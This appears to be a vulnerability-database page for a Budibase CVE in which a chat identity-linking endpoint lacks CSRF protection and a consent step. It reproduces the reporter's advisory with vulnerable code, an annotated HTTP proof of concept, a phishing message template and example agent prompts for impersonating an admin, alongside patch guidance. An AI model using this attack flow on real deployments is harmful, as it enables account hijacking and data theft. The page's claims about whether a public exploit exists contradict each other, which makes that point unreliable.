Skip to main content

Budibase CVE-2026-50132

| EUVDEUVD-2026-39911 HIGH
Improper Access Control (CWE-284)
2026-06-22 https://github.com/Budibase/budibase GHSA-v7j5-vc4m-723w
7.3
CVSS 3.1 · Vendor: https://github.com/Budibase/budibase
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker invokes /link in workspace chat
  2. Delivery
    Server mints token embedding attacker externalUserId
  3. Exploit
    Attacker phishes handoff URL to authenticated Budibase user
  4. Execution
    Victim GET silently writes chat-identity link
  5. Persist
    Attacker DMs bot as themselves
  6. Impact
    AI agent executes tools with victim's permissions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must have a valid Slack, Discord, or MS Teams account inside the same chat workspace where the Budibase AI agent bot is provisioned, so that the /link slash command will mint a session token embedding their externalUserId. The Budibase deployment must be on a vulnerable version (>= 3.37.2, < 3.39.0) with the chat agent integration enabled. Exploitation requires user interaction (CVSS UI:R): an authenticated Budibase user - ideally one with broad app/automation permissions - must click the attacker-supplied handoff URL on the legitimate Budibase domain (or click and then complete login via the return-URL cookie path). No Budibase-side credentials, CSRF token, or admin role on the attacker's side are required, but exploitation is bounded to victims reachable through the attacker's chat tenant and willing to click a same-domain link.

Impact

CVSS 3.1 base 7.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N) is a reasonable reflection of risk: network-reachable, low-complexity, with PR:L because the attacker needs a workspace chat account and UI:R because the victim must click. No EPSS score or CISA KEV listing was provided in the input, and no public weaponized exploit was identified - only the reporter's detailed advisory PoC. Real-world priority is meaningful but bounded: exploitation requires (a) Budibase 3.37.2+ with AI chat integration provisioned for Slack/Discord/Teams, (b) an attacker who is already inside the target's chat tenant, and (c) successful social engineering of an authenticated Budibase user. Because the link is permanent and silent, post-exploitation impact is high - the attacker inherits full agent-mediated access (row reads/writes, automation triggers). Patch is confirmed available in 3.39.0, so risk drops sharply with timely upgrade.

Exploit ScenarioDerived

An attacker with a Slack account in the same workspace as the Budibase bot types /link, receives a handoff URL containing a token bound to their own externalUserId, then posts that URL into a company channel framed as 'click to enable AI agent access.' An authenticated Budibase admin who clicks (or who logs in via the return-URL cookie after being redirected to login) silently writes the attacker's Slack identity into their account record, after which the attacker DMs the bot and asks the AI agent to dump rows or trigger automations as that admin. A fully annotated PoC including HTTP traces and CouchDB document layout is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Account impersonation in Budibase 3.37.2 through 3.38.x allows attackers with a Slack, Discord, or MS Teams account in the same workspace to silently bind their external chat identity to any authenticated Budibase user who clicks a crafted link. Because the /api/chat-links/:instance/:token/handoff endpoint performs a permanent state-changing write with no consent UI and no CSRF token, a successful link grants the attacker full impersonation through the AI chat agent, reading data and triggering automations as the victim. No public exploit identified at time of analysis beyond the detailed proof-of-concept in the GHSA advisory authored by the reporter.

RemediationAI

Vendor-released patch: upgrade @budibase/server to 3.39.0 or later, which is the fixed version referenced in the GHSA-v7j5-vc4m-723w advisory and implemented by pull request https://github.com/Budibase/budibase/pull/18793 and commit https://github.com/Budibase/budibase/commit/cf66fb45d27402bace312d85616ddd4257f3a5aa; the fix converts the handoff into a two-step flow that renders a confirmation page disclosing the external identity and requires a POST carrying a server-issued confirmationToken. If you cannot upgrade immediately, disable the chat agent provisioning flow (remove Slack/Discord/Teams agent app credentials so /link slash commands cannot create sessions) or block /api/chat-links/:instance/:token/handoff at a reverse proxy - both break legitimate chat-agent onboarding until upgrade. As a defensive measure, audit the chatidentitylink_* documents in the global CouchDB to identify and delete any pre-existing malicious mappings, since the patch does not retroactively invalidate already-hijacked links.

Affected VersionsENISA

budibase < 3.39.0

Affected Packages

npm @budibase/server fix: 3.39.0
euvd budibase fix: 3.39.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw lives in Budibase's chat-agent identity-linking subsystem (packages/server/src/api/controllers/ai/chatIdentityLinks.ts), which lets users associate a Slack/Discord/Teams account with their Budibase global user so AI agent messages can be attributed to them. The handoff endpoint is registered in publicRoutes and accepts a GET containing a token that the attacker generated via the bot's /link slash command; that token already embeds the attacker's externalUserId. On request, the controller calls upsertChatIdentityLink to permanently map the attacker's external identity to the authenticated victim's globalUserId in CouchDB. The root cause is the combined CWE-352 (CSRF on a state-changing GET with no anti-CSRF token) and CWE-284 (Improper Access Control: no consent step verifying the authenticated user actually intends to link the displayed external identity). The upstream patch introduces a confirmation page and a POST confirmation endpoint that requires a server-generated confirmationToken.

Know when Open Redirect gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Budibase/budibase) PRIMARY 7.3 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
vuln.today AI 7.3 HIGH

PR:L because attacker needs a chat-workspace account to mint a token; UI:R because victim must click; C/I:H via full impersonation through AI agent; A:N as no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/Budibase/budibase).

CVSS VectorVendor: https://github.com/Budibase/budibase

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Title

Chat Identity Link Hijacking - Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account

Severity

High - CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3

Affected Product

  • Product: Budibase
  • Version: 3.37.2 (introduced in this version)
  • Component: packages/server/src/api/controllers/ai/chatIdentityLinks.ts
  • Endpoint: GET /api/chat-links/:instance/:token/handoff

Vulnerability Type

  • CWE-352: Cross-Site Request Forgery
  • CWE-284: Improper Access Control

---

Vulnerability Description

GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.

The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." - no indication of what was linked.

Route Registration

typescript
// packages/server/src/api/routes/chat.ts:22
router.get(
  "/api/chat-links/:instance/:token/handoff",
  controller.handoffChatLinkSession   // registered in publicRoutes - zero auth middleware
)

Vulnerable Controller (full function)

typescript
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61-110
export async function handoffChatLinkSession(
  ctx: UserCtx<void, string, { instance: string; token: string }>
) {
  const token = resolveToken(ctx.params.token)
  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
  if (!session) {
    throw new HTTPError("Link token is invalid or has expired", 400)
  }
  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })

  if (!ctx.isAuthenticated) {
    // Unauthenticated: set return URL cookie, redirect to login
    // After login, same URL is visited again → attack completes silently
    utils.setCookie(ctx,
      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,
      "budibase:returnurl",
      { sign: false }  // ← unsigned cookie, but not an open redirect
    )
    ctx.redirect("/builder/auth/login")
    return
  }

  const currentGlobalUserId = getCurrentGlobalUserId(ctx)
  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)

  // ↓↓↓ THE VULNERABLE WRITE - no consent check, no CSRF token ↓↓↓
  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
    provider: consumedSession.provider,
    externalUserId: consumedSession.externalUserId,  // ← ATTACKER's Slack ID
    externalUserName: consumedSession.externalUserName,
    teamId: consumedSession.teamId,
    globalUserId: currentGlobalUserId,   // ← VICTIM's Budibase user ID
    linkedBy: currentGlobalUserId,
  })

  ctx.type = "text/html"
  ctx.body = renderLinkSuccessPage()  // ← "Authentication succeeded." - no disclosure to user
}

---

Proof of Concept - Annotated HTTP Trace

Setup

RoleIdentity
AttackerSlack user U_ATTACKER (e.g. UA12345678), Budibase tenant acme, workspace ID ws_abc123
VictimBudibase admin, session cookie budibase:session=VICTIM_SESSION

---

Step 1 - Attacker triggers /link in Slack

Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:

Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx

Redis value (exact structure from ChatIdentityLinkSession interface):

json
{
  "token": "tok_xxxxxxxxxxxxxxxx",
  "tenantId": "acme",
  "workspaceId": "ws_abc123",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:00.000Z",
  "expiresAt": "2026-05-02T10:10:00.000Z"
}

Slack DM sent privately to attacker:

Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff

Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.

---

Step 2 - Attacker forwards URL to victim

Attacker posts in the company Slack:

@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff

---

Step 3 - Victim clicks link (authenticated)

HTTP Request (victim's browser):

http
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM_SESSION

HTTP Response:

http
HTTP/1.1 200 OK
Content-Type: text/html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Authentication succeeded</title>
  </head>
  <body>
    <p>Authentication succeeded.</p>
    <script>
      if (window.opener && !window.opener.closed) {
        try { window.opener.focus(); window.close() } catch (error) {}
      }
    </script>
  </body>
</html>

The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.

CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):

json
{
  "_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
  "tenantId": "acme",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
  "linkedAt": "2026-05-02T10:00:42.000Z",
  "linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:42.000Z",
  "updatedAt": "2026-05-02T10:00:42.000Z"
}

The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).

---

Step 4 - Attacker impersonates victim via AI agent

Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).

The chat handler resolves the identity:

typescript
// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
  provider: AgentChannelProvider.SLACK,
  externalUserId: "UA12345678",     // ← attacker's Slack ID
  teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"

const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions

The attacker can now ask the agent:

> "Show me all rows in the Customers table" > "Trigger the 'Send Invoice' automation for customer ID 42" > "What files are in the knowledge base?"

Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.

---

Step 3b - Variant: Victim Not Yet Authenticated

If the victim is not currently logged in when they click the URL:

HTTP Request:

http
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com

HTTP Response:

http
HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/

After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.

---

Impact

DimensionDetail
ConfidentialityHigh - attacker reads all table rows, files, and knowledge base data accessible to victim
IntegrityHigh - attacker writes rows and triggers automations (email, external API calls, record creation) as victim
AvailabilityNone
Auth requiredLow - attacker only needs a Slack/Discord account in the same workspace as the Budibase bot
User interactionRequired - victim clicks one link (trivial social engineering in any enterprise Slack)
ScopeUnchanged - impact is within the victim's Budibase tenant
PersistencePermanent - the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation

---

Why Severity Is High (Not Medium)

The social engineering bar is near zero in enterprise Slack:

  • The link looks like a legitimate Budibase URL on the company domain
  • The message pattern ("link your account for AI agent access") matches the product's own UX
  • A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious
  • The effect is permanent and silent - the victim never learns their account was linked

Combined with admin-level access to all application data and automation triggers, this meets the bar for High.

---

Remediation

Minimum Fix - Add Consent Page

Convert the handoff to a two-step flow:

GET  /api/chat-links/:instance/:token/handoff
  → Show consent page: "You are linking your Budibase account to
    [externalUserName]'s Slack identity ([provider]).
    This allows them to interact with AI agents as you. [Confirm] [Cancel]"

POST /api/chat-links/:instance/:token/handoff  (with CSRF token)
  → Perform the upsertChatIdentityLink() write

Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.

Additional Hardening

  • Show the externalUserName and provider on the consent page
  • Log the event to the audit trail (both identities, timestamp, IP)
  • Optionally restrict linking to users with explicit permission (not all roles)

--- Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr

References

  • packages/server/src/api/routes/chat.ts:22 - public route registration
  • packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61-110 - full vulnerable controller
  • packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135-165 - session creation (embeds attacker's externalUserId)
  • packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202-247 - upsertChatIdentityLink (permanent write)
  • packages/server/src/api/controllers/webhook/chatHandler.ts:421 - identity resolution during agent message handling
  • packages/server/src/ai/tools/budibase/automations.ts - automation trigger capability
  • packages/server/src/ai/tools/budibase/rows.ts - row read/write capability
  • packages/types/src/sdk/chatIdentityLinks.ts - session + link type definitions
  • CWE-352: Cross-Site Request Forgery
  • CWE-284: Improper Access Control

Executive ViewAI

Why It Matters

Budibase versions 3.37.2 through 3.38.x contain an account impersonation vulnerability affecting organizations with Slack, Discord, or Microsoft Teams integrations. Attackers can craft links that, when clicked by authenticated users, grant unauthorized impersonation privileges including data access and automation execution without user awareness. Publicly available exploit code exists.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
low-code platform with modest, mostly self-hosted enterprise footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2017-1000117 HIGH POC
8.8 Oct 05

A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL ca

CVE-2024-52875 HIGH POC
8.8 Jan 31

GFI Kerio Control versions 9.2.5 through 9.4.5 contain an HTTP response splitting vulnerability in the dest parameter of

CVE-2016-5385 HIGH POC
8.1 Jul 19

PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect

CVE-2013-2248 MEDIUM POC
5.8 Jul 20

Multiple open redirect vulnerabilities in Apache Struts 2.0.0 through 2.3.15 allow remote attackers to redirect users to

CVE-2018-11784 MEDIUM POC
4.3 Oct 04

When the default servlet in Apache Tomcat versions 9.0.0.M1 to 9.0.11, 8.5.0 to 8.5.33 and 7.0.23 to 7.0.90 returned a r

CVE-2022-45402 MEDIUM
6.1 Nov 15

In Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver's `/login` endpoint. Rated medium

CVE-2012-6499 MEDIUM POC
5.8 Jan 12

Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows

CVE-2015-2863 MEDIUM POC
4.3 Jul 20

Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 b

CVE-2017-3528 MEDIUM POC
5.4 Apr 24

Vulnerability in the Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (li

CVE-2012-0518 MEDIUM
4.7 Oct 16

Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware 10.1.4.3

CVE-2024-21641 MEDIUM POC
6.5 Jan 05

Flarum is open source discussion platform software. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp

CVE-2015-5354 MEDIUM POC
5.8 Jul 01

Open redirect vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy